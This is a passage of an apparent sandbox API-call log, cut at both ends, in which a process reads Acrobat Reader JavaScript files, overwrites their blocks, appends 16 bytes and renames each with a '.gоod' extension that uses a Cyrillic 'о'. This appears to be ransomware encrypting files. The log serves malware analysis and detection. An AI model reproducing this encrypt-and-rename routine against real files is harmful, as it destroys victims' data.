lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0259.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0259.865] GetFileType (hFile=0x864) returned 0x1 [0259.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0259.865] GetFileType (hFile=0x864) returned 0x1 [0259.865] WriteFile (in: hFile=0x864, lpBuffer=0x37e3528*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x37e3528*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0259.865] CloseHandle (hObject=0x864) returned 1 [0259.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js.gоod", lpFilePart=0x0) returned 0x93 [0259.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0259.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x971b8a6c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2bc68)) returned 1 [0259.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0259.865] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js.gоod")) returned 1 [0259.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0259.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0259.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x3863b30 | out: lpFileInformation=0x3863b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f)) returned 1 [0259.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0259.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0259.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0259.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0259.867] GetFileType (hFile=0x864) returned 0x1 [0259.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0259.867] GetFileType (hFile=0x864) returned 0x1 [0259.867] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0259.867] ReadFile (in: hFile=0x864, lpBuffer=0x3864098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3864098*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0260.394] CloseHandle (hObject=0x864) returned 1 [0260.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0260.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.394] GetFileType (hFile=0x864) returned 0x1 [0260.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.394] GetFileType (hFile=0x864) returned 0x1 [0260.394] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x5e19f [0260.394] WriteFile (in: hFile=0x864, lpBuffer=0x39405b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x39405b0*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0260.571] CloseHandle (hObject=0x864) returned 1 [0260.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0260.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.614] GetFileType (hFile=0x808) returned 0x1 [0260.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.614] GetFileType (hFile=0x808) returned 0x1 [0260.614] ReadFile (in: hFile=0x808, lpBuffer=0x38ecc68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x38ecc68*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0260.660] CloseHandle (hObject=0x808) returned 1 [0260.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0260.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.660] GetFileType (hFile=0x808) returned 0x1 [0260.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.660] GetFileType (hFile=0x808) returned 0x1 [0260.660] WriteFile (in: hFile=0x808, lpBuffer=0x38eb918*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x38eb918*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0260.660] CloseHandle (hObject=0x808) returned 1 [0260.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js", lpFilePart=0x0) returned 0x8f [0260.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js.gоod", lpFilePart=0x0) returned 0x94 [0260.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0260.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9793932e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e1af)) returned 1 [0260.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0260.660] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-tool-view.js.gоod")) returned 1 [0260.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0260.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x3970268 | out: lpFileInformation=0x3970268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bca0)) returned 1 [0260.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0260.662] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.662] GetFileType (hFile=0x808) returned 0x1 [0260.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.662] GetFileType (hFile=0x808) returned 0x1 [0260.662] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0260.662] ReadFile (in: hFile=0x808, lpBuffer=0x39707d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39707d0*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0260.663] CloseHandle (hObject=0x808) returned 1 [0260.663] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.664] GetFileType (hFile=0x808) returned 0x1 [0260.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.664] GetFileType (hFile=0x808) returned 0x1 [0260.664] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x2bca0 [0260.664] WriteFile (in: hFile=0x808, lpBuffer=0x3971c28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3971c28*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0260.836] CloseHandle (hObject=0x808) returned 1 [0260.837] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.837] GetFileType (hFile=0x808) returned 0x1 [0260.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.837] GetFileType (hFile=0x808) returned 0x1 [0260.837] ReadFile (in: hFile=0x808, lpBuffer=0x388b948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x388b948*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0260.877] CloseHandle (hObject=0x808) returned 1 [0260.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0260.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.878] GetFileType (hFile=0x808) returned 0x1 [0260.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0260.878] GetFileType (hFile=0x808) returned 0x1 [0260.878] WriteFile (in: hFile=0x808, lpBuffer=0x388a5f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x388a5f8*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0260.878] CloseHandle (hObject=0x808) returned 1 [0260.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js", lpFilePart=0x0) returned 0x8d [0260.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js.gоod", lpFilePart=0x0) returned 0x92 [0260.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0260.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x97b4f4c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2bcb0)) returned 1 [0260.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0260.879] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-selector.js.gоod")) returned 1 [0260.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\exportpdf-rna-tool-view.js", 